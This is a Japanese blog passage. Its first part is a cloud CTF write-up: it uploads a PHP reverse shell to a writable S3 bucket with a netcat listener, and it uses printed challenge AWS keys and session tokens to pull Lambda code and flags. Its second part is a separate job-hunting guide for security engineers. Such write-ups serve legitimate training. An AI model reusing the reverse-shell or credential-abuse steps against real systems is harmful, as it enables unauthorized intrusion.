すると、アクセスすることができ、index.html のファイルが初めに問題にアクセスした際の Web ページに HTML コードだとわかります。

しかし、それ以外は特に使えそうな情報を得ることはできませんでした。

さらに入手した認証情報を調査すると、 S3 バケットの書き込み権限が有効な状態であることがわかりました。

そのため、自由にファイルをアップロードすることが可能でした。

そこで PHP ファイルをアップロードしてリバースシェルを試みます。

github.com

$ nc -lnvp 444
 ...
$ aws s3 cp reverse.php s3://website-assets/ --profile webfile
upload: ./reverse.php to s3://website-assets/reverse.php
  • URL: http://10.129.228.37/reverse.php

最終的に、アップロードしたファイルにアクセスして、リバースシェルにより直接サーバーから Flag を得ることが可能でした。

$ whoami
www-data

$ find / -name flag.txt 2>/dev/null
/var/www/flag.txt

$ cat /var/www/flag.txt
HTB{th3_r3d_pl4n3ts_cl0ud_h4s_f4ll3n}


対策案

今回の問題が実際にあった場合の対策としては、主に以下のような案が考えられます。


過去問

過去にも S3 における アクセス制御の不備に関する問題は多く出題されています。


2.3 AWS Lambda

問題1

Nullcon Berlin HackIM 2023 CTF の「Rain checks」の問題では、得た認証情報を使って Lambda 関数を扱う問題でした。

問題に添付されたファイルから、以下の認証情報を得ることができる状態でした。

AWS Access Key ID: AKIA22D7J5LEAGT3CKGP
AWS Secret Access Key: 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
Mfa Device Hardware Token: E3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJV
Mfa Serial Key: arn:aws:iam::743296330440:mfa/mfa-exposed-user
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": [
        "lambda:GetLayerVersion",
        "lambda:GetFunction",
        "lambda:GetLayerVersionPolicy"
      ],
      "Resource": "*",
      "Condition": {
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    },
    {
      "Sid": "VisualEditor1",
      "Effect": "Allow",
      "Action": [
        "lambda:UpdateFunctionCode",
        "lambda:InvokeFunction"
      ],
      "Resource": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
      "Condition": {
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    }
  ]
}

これらを用いて AWS CLI でローカルに設定します。

$ aws configure --profile mfa-exposed-user
AWS Access Key ID [None]: AKIA22D7J5LEAGT3CKGP
AWS Secret Access Key [None]: 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
Default region name [None]: eu-central-1
Default output format [None]: json

また、「Mfa Device Hardware Token」を使って MFA アプリに設定します。そしてトークンコードを取得できるようにします。

以下のようなサイトで MFA を手軽に設定することもできます。

stefansundin.github.io

これにより、以下のようにセッショントークを取得することができます。

$ aws sts get-session-token --serial-number arn:aws:iam::743296330440:mfa/mfa-exposed-user --token-code 174257 --profile mfa-exposed-user

取得したセッショントークを別のプロフィールとして、以下のようにローカルで設定します。

[mfa]
aws_access_key_id = ASIA22D7J5LEHSZ5MO6Y
aws_secret_access_key = Cb9QbakPmXIW86kgM0r30fRXcGyY7veOWWk3KkVB
aws_session_token = FwoGZXIvYXdzEMT//////////wEaDFb1WHkN6LX18wD35SKGAbVCK40Ux8/HguSIcusRpnhNmPC0QKd7iE5Whzp6+E7aLgT4OVHLAMGOEI0DSj9kH5Sur+Ohr08SD4MU0jEhRg088S3W7kQ76s+lCNWdIafus3WaY5V2tm+sw4PuGCh4HKDieaNsEWRVvkZhD7iZGUXjIp2d5iskcBNpRZJA1o2zxUDrAzOjKIStqqAGMigEX+xgyWIragX5Zl3LSm6o1fbsHKiYGXyeXcZC7sbIs4wZ5sxntaZq

これにより、取得していた認証情報をもとに Lambda 上にあるリソースを操作することが可能になりました。

そのため、「lambda-confirm-secret」を実行してみると、以下のように返ってきます。

$ aws lambda get-function --function-name lambda-confirm-secret --region eu-central-1 --profile mfa
{
  "Configuration": {
    "FunctionName": "lambda-confirm-secret",
    "FunctionArn": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
    "Runtime": "python3.9",
    "Role": "arn:aws:iam::743296330440:role/role-for-lambda-to-read-secret-flag1",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 693,
    "Description": "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets ",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2023-03-09T10:15:31.000+0000",
    "CodeSha256": "XGBROzVr7sFwZJp0F79dvHfNRc6X2Ag3OTbVx9qldOU=",
    "Version": "$LATEST",
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "RevisionId": "8e79f5f4-5d22-4cd2-ac78-68ee9e3d983a",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip",
    "Architectures": [
      "x86_64"
    ],
    "EphemeralStorage": {
      "Size": 512
    },
    "SnapStart": {
      "ApplyOn": "None",
      "OptimizationStatus": "Off"
    }
  },
  "Code": {
    "RepositoryType": "S3",
    "Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/743296330440/lambda-confirm-secret-7170c6e6-2458-4c26-ab03-e66b8fce0d13?versionId=soyBu3Egz3QRUS0WAeGl0LPT1T7ezKD8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDGV1LWNlbnRyYWwtMSJGMEQCICS347V9%2BXEAa5pz%2BdoBPR5%2FTYdQa2IEiGrhZCu%2ByI3iAiB8FH%2BMGJpuEBfIXwjiXRY6UmpV2zUeDXDF2462eOprGSq7BQheEAMaDDY4MDY4NjU1OTQzNCIMKMLZq2uWj8bt5j25KpgF6AAx3b4wb5um00V1%2BnINkWdA4B1qXZR%2FIsY0OxOVkWvlg2j2Ku%2Fc1OXkle7oVpjjU0HTKW%2FnVlmmZGzfFUzkpjpgKE01MEjLja2NWIklJYIJ5idrKLkiJOxgBlEMhLGbM%2BRRrJeudiBolQFe4u4VBsOAUAjKkJ%2Bgw5PB4R2MqDW1DPASh1R1QwZt1dWNwr34TMInKaDAurcjTZ6AWEvDPl8DtGVzYUn26OagxilfdrUGzjHJitgkG7GrZwRNm8xmIoqSu6IQ4zZest683adyeK1L2AC3%2FTtfAtqb9AyaG41nv8XwKKt%2FUD1ii1WpF5WuXjQ%2FiiztF8TeAXKCr7oa3QXZuE8bMNooqziJvVmyytx8AJgKEmO8iiTJJq%2BFGnMW3jiVrzc95bUxURzvfoO1RZjQIdu0ShmwkIMer844qh%2BxTM%2F0CH2KdgzgO5xxlAkZ9YjZ8jvGJ2Txxqb093F%2FrvtfJxwz9uYfTNCFsoEMqTRtyHUhFwSf1XJp%2BuWOH9%2FhhXDH64JH%2F%2FLhzvk%2FMDObT1GNZDghC007mFVJwUmAk0vvb8h7FMQJzf8OwJTm34T0sygKYmFavLRKWq8LaD9orpjGiVam8PLrr9ahjK0FyOnyCMb6I4A3WcR1CZZ7Vn%2BYUnUu8ov4EVLdgRJq%2FPPg7E6GGN6OhaeQVUAGTBUKFMl%2B6m0W6EfTeDytdFgy%2FoJwCf2utdY9KlWbNarZQcUZPyFFZqMWkHgCWkllQZ8%2BZMtxCb2Rv0aqqtgXNd0i%2FAZBOgYLtf4iEmOhYKisjAMuG6WuNdO0XeYnkyk%2FLGJCjnTNQKQPNHpMCpN66gSmoucWVLo2e%2BFDCjBjVc5rFdbj4cOvCimA1cYyTTKZM1369v%2FxTCv1vUF3JjDso6egBjqyAY744zxDPwiwtsU2loSo85nMH7CSwY%2FcUa4%2BqFhjJhzvnGmpVU4mk%2BdYxD2bpHCm%2FvxAx%2FJVQYobEnvIFTCxOk1FaTSxsMCY0JJeJ9aF5Nalrl%2FRqG%2FMLwmtj1GIY5I%2FbFlEqYrpfnya%2FgYqS%2FJwqYlpOYB0mnfVv%2BAMpiglVKor40gKrf2GBxOo2Yx0%2F5pMyDRDt6NcB3pd8w860dLyVjr5pKsY6IAhnNixbrddshAO02w%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230309T132522Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFASSBGY5K%2F20230309%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=a3e2b642c710d932e8d1cc6bbd595e52ae8b62cd1f86ee7704d239591cbf71f0"
  }
}

レスポンスに含まれる S3 バケットのリンクにアクセスすると、Lambda 関数のソースコードをダウンロードすることができました。

import json
import hashlib
import boto3
from botocore.exceptions import ClientError
import base64

def lambda_handler(event, context):
   flag = get_secret()
   m = hashlib.sha512()
   m.update(flag.encode('utf-8')) #b"Nobody inspects")
   hash = base64.b64encode(m.digest())
   if hash == b'cBOdVrF/i42uk+zG6hT/f080JYXUl5JuItkOVdQuC2+J7QCxTNo5ivYglOBT3r3p9P6tpwqfSbr2aqqtV1G5gg==':
       message = "[*] Secret value confirmed"
   else:
       message = "[!] WARNING: SECRET VALUE could not be confirmed!"
   
   return {
       'statusCode': 200,
       'body': json.dumps(message)
   }

def get_secret():

   secret_name = "flag1"
   region_name = "eu-central-1"

   session = boto3.session.Session()
   client = session.client(
       service_name='secretsmanager',
       region_name=region_name
   )

   try:
       get_secret_value_response = client.get_secret_value(
           SecretId=secret_name
       )
   except ClientError as e: 
       raise e

   return get_secret_value_response['SecretString']

また、さっきの Lambda 関数にあった「Description」に、別の関数名が含まれていました。

Descrption: lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets

  • lambda-aws-config-confirm-state-of-lambda
  • lambda-aws-config-confirm-state-of-secrets

次に先ほどと同様に「lambda-aws-config-confirm-state-of-secrets」の Lambda 関数のソースコードを取得して、ハードコードされたシークレットな情報が含まれていました。

$ aws lambda get-function --function-name lambda-aws-config-confirm-state-of-secrets --region eu-central-1 --profile mfa
def correct_secret():
    secret_name = "flag1"
    region_name = "eu-central-1"

    session = boto3.session.Session()
    client = session.client(
        service_name='secretsmanager',
        region_name=region_name
    )

    response = client.put_secret_value(
    SecretId=secret_name,
    SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))

最後に、SecretString の中身をデコードすると Flag を取得することが可能でした。

$ echo RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0= | base64 -d
ENO{N0_Ed1t_St1ll_Vuln}


問題2

WaniCTF 2023 の「Lambda」の問題では、Amazon API Gateway で作られた API を使って Lambda 関数のソースコードを取得する問題でした。

問題にアクセスすると、ユーザー名とパスワードによるログインページが表示されます。

そこでは、login_submit.js という JavaScript ファイルが動いていて、コードを見ると https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/ にリクエストを送信しています。

window.onload = (event) => {
  const btn = document.querySelector("#submitBtn");

  btn.addEventListener("click", async () => {
    console.log("aaa");
    const password = document.querySelector(".password");
    const username = document.querySelector(".username");
    const result = document.querySelector(".result");
    console.log(password);
    console.log(username);
    const url = new URL(
      "https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/"
    );
    url.searchParams.append("PassWord", password.value);
    url.searchParams.append("UserName", username.value);
    const response = await fetch(url.href, { method: "get" });
    Promise.resolve(response.text()).then(
      (value) => {
        console.log(value);
        result.innerText = value;
      },
      (value) => {
        console.error(value);
      }
    );
  });
};

また、問題の添付ファイルから AWS のアクセスキーとシークレットキーとリージョン名が書かれた CSV ファイルでした。

この認証情報をローカルに設定して、さっきの API GatewayAPI を叩いてみます。

ちなみに、「REST API ID」は URL に含まれる「k0gh2dp2jg」が該当します。

$ aws apigateway get-resources --rest-api-id k0gh2dp2jg
{
    "items": [
        {
            "id": "hd6co6xcng",
            "path": "/",
            "resourceMethods": {
                "GET": {}
            }
        }
    ]
}
$ aws apigateway get-integration --rest-api-id k0gh2dp2jg --resource-id hd6co6xcng --http-method GET
{
    "type": "AWS_PROXY",
    "httpMethod": "POST",
    "uri": "arn:aws:apigateway:ap-northeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function/invocations",
    "passthroughBehavior": "WHEN_NO_MATCH",
    "contentHandling": "CONVERT_TO_TEXT",
    "timeoutInMillis": 29000,
    "cacheNamespace": "hd6co6xcng",
    "cacheKeyParameters": [],
    "integrationResponses": {
        "200": {
            "statusCode": "200",
            "responseTemplates": {}
        }
    }
}

Resource ID から Lambda 関数の ARN を取得することができました。

そのため、Lambda 関数の情報を取得してみます。

$ aws lambda get-function --function-name arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function
{
    "Configuration": {
        "FunctionName": "wani_function",
        "FunctionArn": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function",
        "Runtime": "dotnet6",
        "Role": "arn:aws:iam::839865256996:role/service-role/wani_function-role-zhw0ck9t",
        "Handler": "WaniCTF_Lambda::WaniCTF_Lambda.Function::LoginWani",
        "CodeSize": 960588,
        "Description": "",
        "Timeout": 15,
        "MemorySize": 512,
        "LastModified": "2023-05-01T14:21:15.000+0000",
        "CodeSha256": "Gfkg4Q7OrMA+DPsFg6zR+gZXezeG8KEMe/8w8BLmRSA=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "0a4cde2c-6dbb-4240-9332-2f5611256deb",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "...(URL)..."
    }
}

Code の URL から .NET のファイルをダウンロードすることができました。

$ ls
Amazon.Lambda.APIGatewayEvents.dll    Amazon.Lambda.Serialization.SystemTextJson.dll  WaniCTF_Lambda.dll
Amazon.Lambda.Core.dll                Newtonsoft.Json.dll                             WaniCTF_Lambda.runtimeconfig.json
Amazon.Lambda.Serialization.Json.dll  WaniCTF_Lambda.deps.json

.NET のファイルを取得したため、解析に「dnSpy」を使ってみます。

デコンパイルされたコードから、Lambda 関数のソースコードに直接 Flag が含まれていて、得ることができました。

namespace WaniCTF_Lambda
{
    // Token: 0x02000005 RID: 5
    public class Function
    {
        // Token: 0x06000005 RID: 5 RVA: 0x00010B88 File Offset: 0x00000B88
        [NullableContext(1)]
        public APIGatewayProxyResponse LoginWani(APIGatewayProxyRequest input, ILambdaContext context)
        {
            IDictionary<string, string> queryStringParameters = input.QueryStringParameters;
            Dictionary<string, string> dictionary = new Dictionary<string, string>();
            dictionary["Access-Control-Allow-Origin"] = "https://lambda-web.wanictf.org";
            dictionary["Access-Control-Allow-Methods"] = "GET OPTIONS";
            Dictionary<string, string> headers = dictionary;
            if (queryStringParameters == null)
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 500,
                    Body = "QueryStringParameters is null",
                    Headers = headers
                };
            }
            if (!queryStringParameters.ContainsKey("UserName") || !queryStringParameters.ContainsKey("PassWord"))
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 400,
                    Body = "ユーザー名とパスワードを指定してください",
                    Headers = headers
                };
            }
            string text = queryStringParameters["UserName"];
            string text2 = queryStringParameters["PassWord"];
            if (text == "LambdaWaniwani" && text2 == "aflkajflalkalbnjlsrkaerl")
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 200,
                    Body = "FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}",
                    Headers = headers
                };
            }
            return new APIGatewayProxyResponse
            {
                StatusCode = 200,
                Body = "Password or UserName are incorrect!!! :  " + text + ": " + text2,
                Headers = headers
            };
        }
    }
}


過去問

過去にも Lambda に関する問題は多く出題されています。


2.4 Amazon Cognito

問題1

追記予定


3. その他

Security-JAWS DAYS

昨年は、Security-JAWS の第30回を記念して Security-JAWS DAYS が開催されて、2日目に AWS CTF が行われました。

出題された問題は、例えば以下のような要素をテーマに問題としてありました。

  • EC2 上にある Web アプリケーションに対して SSRF を行い、メタデータサービスから IAM Role を取得して Flag を得る問題
    • さらに、取得した IAM を使って DynamoDB から Flag を得る問題
  • AWS WAF の規約を回避して SQL Injection を行い、ログインを成功させて Flag を得る問題
  • JavaScript のファイルからハードコードされた認証情報を探し出して AWS Secrets Manager から Flag を得る問題
  • S3 Object の署名済み URL の発行で、Path Traversal を行なって Flag を得る問題
  • AWS 環境における Pentest 問題

詳しくは、以下のブログ先の解説動画をご覧ください。

scgajge12.hatenablog.com


[常設 CTF] The Big IAM Challenge

The Big IAM Challenge とは、Wiz が2023年6月7日から提供する「AWS IAM の設定不備」に関するクラウドセキュリティの常設 CTF です。

この常設 CTF には、6つのステップで問題が構成されていて、よくある IAM の設定不備に焦点を当てて問題が作られています。

詳しくは、以下をご覧ください。

bigiamchallenge.com

この問題は常設であり、解説はネタバレになるため省きますが、どれも面白かったのでぜひチャレンジしてみてください。

ちなみに、問題の環境では以下の AWS サービスが使われていました。

また、全問題を正解することができたら、以下のように証明証が発行されます。

bigiamchallenge.com


[常設 CTF] EKS Cluster Games

EKS Cluster Games とは、Wiz が2023年11月2日から提供する「Amazon EKS」に関するクラウドセキュリティの常設 CTF です。

この常設 CTF には、5つのステップで問題が構成されていて、 Amazon EKS (Kubernetes)の設定不備やセキュリティ問題に焦点を当てて問題が作られています。

詳しくは、以下をご覧ください。

eksclustergames.com

この問題は常設であり、解説はネタバレになるため省きますが、どれも面白かったのでぜひチャレンジしてみてください。

また、全問題を正解することができたら、以下のように証明証が発行されます。

eksclustergames.com


年始に勉強したい AWS セキュリティのコンテンツまとめ

aws.amazon.com


4. 終わりに

本稿では、2023年に開催された CTF のイベントで、Cloud に関する問題をピックアップして、攻撃手法の特徴について紹介しました。

ここまでお読みいただきありがとうございました。

新卒の学生によるセキュリティエンジニア志望の就活話

1. 始めに

こんにちは、morioka12 です。

本稿では、新卒の学生によるセキュリティエンジニア志望の就職活動について、morioka12 の就活話も含めて簡単に紹介します。


想定読者

また、本ブログの内容は、所属する学校のセキュリティに興味がある後輩に向けて、就活に関する話をした際の内容を元に記載しています。


筆者のバックグラウンド

  • 専門学校の4年生
  • Web Security や Cloud Security などのセキュリティ分野について学習している学生
  • セキュリティ・キャンプ全国大会や SecHack365 などの修了生
  • 2024年4月からベンダー企業で新卒のセキュリティエンジニアとして就職予定


2. セキュリティエンジニアとは

セキュリティエンジニア(Security Engineer)とは、情報セキュリティやサイバーセキュリティに特化した技術者のことで、組織やシステム・サービスなどのセキュリティを確保して、情報資産を守るためのエンジニアを指します。

セキュリティに関する業務と言っても、職となる業務内容は幅広く様々あり、全部は紹介できないため、例えば以下のようなものがあります。


脆弱性診断・ペネトレーションテスト

脆弱性診断やペネトレーションテストは、対象のシステムやサービスにセキュリティ問題(脆弱性)がないかの調査と報告などを行います。

調査を行う対象は様々あり、主に以下のような分野があります。

  • Web アプリケーション
  • スマートフォンアプリケーション (AndroidiOS)
  • デスクトップアプリケーション (WindowsMac)
  • プラットフォーム (ネットワーク)
  • クラウド
  • ゲームチート
  • Web3
  • 組み込み機器 (IoT)
  • OT (Operational Technology)システム
  • 自動車
  • 社内システム

また、高度な診断となってくると、以下のような業務があります。

詳しくは、「3.1 企業候補」で紹介する各セキュリティ企業のホームページにあるサービス一覧をご覧ください。

ちなみに、職業情報提供サイト(日本版O-NET)に「セキュリティエキスパート(脆弱性診断)」という職業紹介のページがあります。

https://shigoto.mhlw.go.jp/User/Occupation/Detail/520shigoto.mhlw.go.jp

他にも、OWASP Japan が公開している「脆弱性診断士スキルマッププロジェクト」というドキュメントもあるため、こちらも参考になるかと思います。

github.com



3. セキュリティエンジニア志望の就活

本ブログでは、業務内容が「脆弱性診断・ペネトレーションテスト」のセキュリティエンジニアに焦点を当てて、新卒時の就活に関する内容を経験をもとに紹介します。

(中途採用の就活は、未経験のため何も言えませんが、少しは参考になるかと思います。)

3.1 企業候補

就職先の候補を探す際は、主に以下のようなところから企業調査を行うと良いと思います。

  • セキュリティイベントのスポンサーや登壇者の所属
  • 情報セキュリティサービス台帳
  • 脆弱性報告の報告者の所属
  • 一般社団法人日本ハッカー協会
  • (就職サイト)


セキュリティイベント

セキュリティ系のイベントに協賛している企業は、会社としてもセキュリティを前向きに捉えている企業が多い印象のため、候補先としてはとても良いと思います。

主に見ていたセキュリティイベントは、以下の3つです。

  • セキュリティ・キャンプ
  • CODE BLUE
  • SECCON

www.security-camp.or.jp

codeblue.jp

www.seccon.jp

ちなみに、学生の方で「セキュリティ・キャンプ全国大会の受講生」や「CODE BLUE の学生スタッフ」として参加できると、イベント内で協賛企業の方との交流会があります。

そこでは、実際にその企業のエンジニアの方と直接話すことができるため、とても有益な場になります。


JNSA

また、「日本ネットワークセキュリティ協会 (JNSA)」という特定非営利活動法人があり、そこでは JNSA Internship という学生向けの「産学情報セキュリティ人材育成交流会」が開かれているそうです。

インターンシップに興味をもっている学生がインターンシップの受入れ企業と交流できる場所を提供し、長期インターンシップに関わる不安等を解消することを目的として、2023年12月2日(土)に「産学情報セキュリティ人材育成交流会」を開催いたします。

www.jnsa.org

日本ネットワークセキュリティ協会には、会員企業が存在して、そこからも情報セキュリティに係わる企業の一覧を見ることができます。

www.jnsa.org


情報セキュリティサービス台帳

情報セキュリティサービス台帳とは、経済産業省が定めた「情報セキュリティサービス基準」への適合性を当情報セキュリティサービス基準審査登録委員会が審査して、適合とされたサービスを掲載するものです。

その中に、「脆弱性診断サービス」という一覧があり、脆弱性診断のサービスを提供している企業の一覧で見ることができます。

sss-erc.org


JVN

JVN (Japan Vulnerability Notes)とは、日本で使用されているソフトウェアなどの脆弱性関連情報とその対策情報を提供して、情報セキュリティ対策に資することを目的とする脆弱性対策情報ポータルサイトです。

ここで、実際にあった脆弱性報告に報告者の所属会社が記載されているものもあるため、脆弱性調査を行なっている方がどこの企業に在籍されているかを知ることができ、候補先として参考になるかと思います。

jvn.jp


一般社団法人日本ハッカー協会

一般社団法人日本ハッカー協会とは、情報セキュリティ、システム開発、IoT などさまざまな分野で活躍されるハッカーの皆様が安心して新しい取り組みに挑戦でき、活動に邁進できる社会を目指し、ハッカーの地位向上とハッカーの活躍によるネット社会の安全と健全な発展に貢献している組織です。

ここでは、主に中途採用の転職者向けに求人がでていますが、企業調査として見ていたりしました。

www.hacker.or.jp


公務員

ちなみに、公務員や国家公務員でセキュリティに関する職業も以下のようにいくつかあります。

デジタル庁の脆弱性診断士などは「実務経験数」などが応募条件に入っていたりするため、中途採用向けだったりしますが、要件などは参考になるかと思います。

また、デジタル庁は、以下の「政府情報システムにおける脆弱性診断導入ガイドライン」という PDF を公開していて、脆弱性診断に関して参考なる資料かと思います。

https://www.digital.go.jp/assets/contents/node/basic_page/field_ref_resources/e2a06143-ed29-4f1d-9c31-0f06fca67afc/3bc45d3c/20220630_resources_standard_guidelines_guidelines_08.pdf


3.2 ユーザー企業・ベンダー企業

脆弱性診断のメインである「脆弱性を探す業務」に関しては、ユーザー企業とベンダー企業のどちらでも職としてはあります。

主な違いとしては、以下のような点があります。

  • ユーザー企業
    • 自社の製品やサービスに対して脆弱性診断を行う
    • リリース前後だけでなく、設計・開発・運用の段階でもセキュリティ視点で関わることができる
  • ベンダー企業
    • 案件として受注した先の企業の製品やサービスに対して脆弱性診断を行う
    • 色々な企業の製品やサービスを脆弱性調査することができる

どちら側のセキュリティエンジニアでも業務内容や得れる実務経験に関しては、特徴やメリット・デメリットがあると思いますが、ここら辺は好みかと思います。


3.3 企業ホームページ

いくつか気になる企業が見つかった場合は、その企業のホームページに記載があるサービス一覧や求人などを見るかと思います。

脆弱性診断を提供する企業はいくつもありますが、各会社のサービスには少なからず「サービスの特徴」があると思います。

特にベンダー企業では、企業側もサービスの差別化をしていたりするため、そこで働くセキュリティエンジニアの業務にも差別化された内容に少しでもなっていると思います。

ユーザー企業のセキュリティチームでも、その企業で使われている技術や環境などは異なるため、特徴が表れていると思います。

そのため、サービスの特徴を見たり、求人ページからどのような人材を求めているか、社風や福利厚生などを見て、気になる企業を選ぶと良いと思います。

また、会社が掲げているビジョンを見て、会社がどういうことに念頭にしているかも、気にしてみると良いと思います。

採用応募する前に、できればカジュアル面談を申し込んでみると、より具体的なイメージを持つことができると思います。


技術ブログ

その企業に技術ブログがある場合は、技術ブログも見てみると良いと思います。

技術ブログは、所属するセキュリティエンジニアの方が執筆していることが多いため、どういうスキルの持った方が在籍しているかを知ることができます。

また、一般に公開されている「新卒の研修資料」もあれば、一緒に見てみると良いと思います。


3.4 求められるスキル

具体的に気になる企業が見つかった場合は、その企業の求人にある「求められるスキル」や「望ましい経験」を特に見てみると良いと思います。

どういったスキルや経験を持った人を歓迎しているのかを早い段階から知れれば、そのための学習や準備をすることが可能となります。

ある程度のやりたい業務などが定まった段階で、業界調査や企業調査を行い、どういった人材やスキルが求められているのかを知った上で、学習に取り組めるととても良いと思います。



4. morioka12 の就活話

僕は、3年生になる前の春休み前くらい(2月頃)から、就活のための準備をし始めていました。

4.1 気になる企業をリストアップ

1年生の頃から気になる企業は、リストアップして情報収集などを行なっていましたが、3年生になる前に気になる企業を10社ほどまで絞りました。

この際は、単に「新卒で入ってみたい」というわけではなく、セキュリティ視点で興味がある企業を10社ほどに絞りました。

主に、その企業にもし入社したらどういう業務を経験できそうかを主軸に考えて、リストアップしました。

また、それに合わせて、毎年のサマーインターンシップなども調べていました。


4.2 カジュアル面談

次に、気になる企業のリストから、あまり知らない5社ほどと新卒採用の応募前にカジュアル面談を行いました。

カジュアル面談は、サマーインターンで参加した際に行われたり、自分から採用の問い合わせフォームから申し出たり、イベントで知り合ったエンジニアづてで開いてもらったりしました。

そこでは、主にエンジニアの方と具体的な業務内容や特徴などを、質疑応答スタイルで簡単に面談を行なってもらい、会社のイメージを具体化することができました。

また、カジュアル面談をする際のポイントとなったことは、もし入社した場合のポジションをイメージできたことです。

特に自分の場合は「どのような部(課)に配属できそう」で「どのような業務が経験できるか」をよりイメージできたことはとても良かったと思います。


4.3 新卒採用

次に、3年生の秋頃から始めに興味のあった10社の中から4社の企業と正式な就活を行いました。

具体定には、セキュリティチームがある「ユーザー企業: 2社」とセキュリティ専門の「ベンダー企業: 2社」と就活をして、内定をいただきました。

カジュアル面談も含めたリアルな流れは、以下のような感じでした。

  • ベンダー1: 社長面談 → 内定
  • ベンダー2: 社長面談 → エントリーシートの提出 → 課長面接 → 内定
  • ユーザー1: 2次面接 → 部長面接 → 内定
    • (前提: サマーインターンに参加して書類選考と1次面接が免除された)
  • ユーザー2: 書類選考 → 1次面接 → 2次面接 → Web テスト → 社長面接 → 内定

内定後にも手厚い面談をしていただき、最終的にベンダー企業からの内定を承諾しました。

(ちなみに、就活中は一度もスーツを着る機会がなく、基本的に「カジュアルな格好で」という指定が逆にあるくらいでした。)


また、就活を通して、今まで取り組んできた内容や経験を多くの方に評価・コメントしてもらうことができ、改めて自分のスキルなどを認識することができました。

とても良い経験になり、ありがとうございましたの気持ちです。



5. セキュリティエンジニアを目指す就活生へ (まとめ)

以上の経験をもとに、セキュリティエンジニアに興味のある学生は、以下のような点を意識しておくと個人的には良いと思います。

5.1 セキュリティ業界を知ろう

世の中には、どういう企業があり、どういう職業があり、どういうサービスがあり、どういう業務があるのか、などを自分から調べてみましょう。

その中から興味のある企業や職種をいくつか選んで目星を付けておくと良いと思います。

また、同じ脆弱性診断名でも会社ごとに異なるアプローチや特徴がサービスにあることが多いため、差別化されたサービスの特徴や技術ブログなどからその会社の技術力を見ることもおすすめします。


5.2 セキュリティイベントに参加しよう

セキュリティイベントに参加すれば、企業のエンジニアの方と話せる機会が生まれるため、積極的に参加しましょう。

そのチャンスを有効的に使って、会社の話や業務内容、社風などを聞いたりすると良いと思います。

また、就活は新卒のタイミングだけでなく、社会人になってからの「転職」にも色々なエンジニアとの交流は大いに活かせると思います。

例えば、以下のようなセキュリティイベントがあります。

ちなみに、有志で一般公開されている「Security Event in Japan」というセキュリティ系のイベントがまとまった Google カレンダーがあったりします。

calendar.google.com

この Google カレンダーのポリシーは、以下のブログで公開されています。

ripjyr.hatenablog.jp


5.3 求められる人材を知ろう

各企業の求人から、どういう人材やスキル・経験を持った人を求めているかを知りましょう。

早めに知れれば、そのための学習時間も確保できたり、アピールするための準備ができるかもしれません。

また、新卒の求人だけでなく、転職者向けの中途採用の求人も見ておくと良いです。

中途採用で求められているスキルや経験も知っておくと、さらに今後のキャリアパスとしてのイメージをしやすくなります。


セキュリティ分野を学習する上で大事な点

セキュリティ分野の学習をする上で大事だと思う点は、セキュリティだけを念頭に学習しないことです。

セキュリティはあくまで、何かの分野や技術があった上で、生まれる(成り立つ)ものだと思います。

そのため、例えば Web Security に興味がある場合は、基礎となる Web 技術や Web アプリケーションが動くクラウド技術なども学習しておくと、とても良いと思います。


超セキュリティ入門

初めてセキュリティ分野を学習する際は、以下の2点がオンラインで手軽に取り組めるため、とてもおすすめです。

また、Web Security に関しては、以下の「バグバウンティ入門(始め方)」のブログでおすすめの書籍やコンテンツなどの学習教材を紹介しています。

https://scgajge12.hatenablog.com/entry/bugbounty_beginner#Web-Security-%E3%81%AE%E5%A0%B4%E5%90%88

また、Mobile Security に関しては、以下の「バグバウンティにおけるモバイルアプリの脆弱性報告の事例まとめ」のブログでおすすめのコンテンツなどの学習教材を紹介しています。

https://scgajge12.hatenablog.com/entry/bugbounty_mobile#%E3%81%8A%E3%81%99%E3%81%99%E3%82%81%E3%81%AE%E5%AD%A6%E7%BF%92%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84


5.4 アピールできる取り組みをしよう

就活を始める前までに、何か自分が取り組んできたことで少しでもアピールできることを作っておきましょう。

アピールできる点はその人に合ったことでなんでも良いかと思いますが、例えば以下のような点があると思います。

  • CTF の大会で上位にランクインする
  • IPA の「情報処理安全確保支援士」や OffSec の「OSCP」などの資格を取得する
  • 研究内容で成果を出す
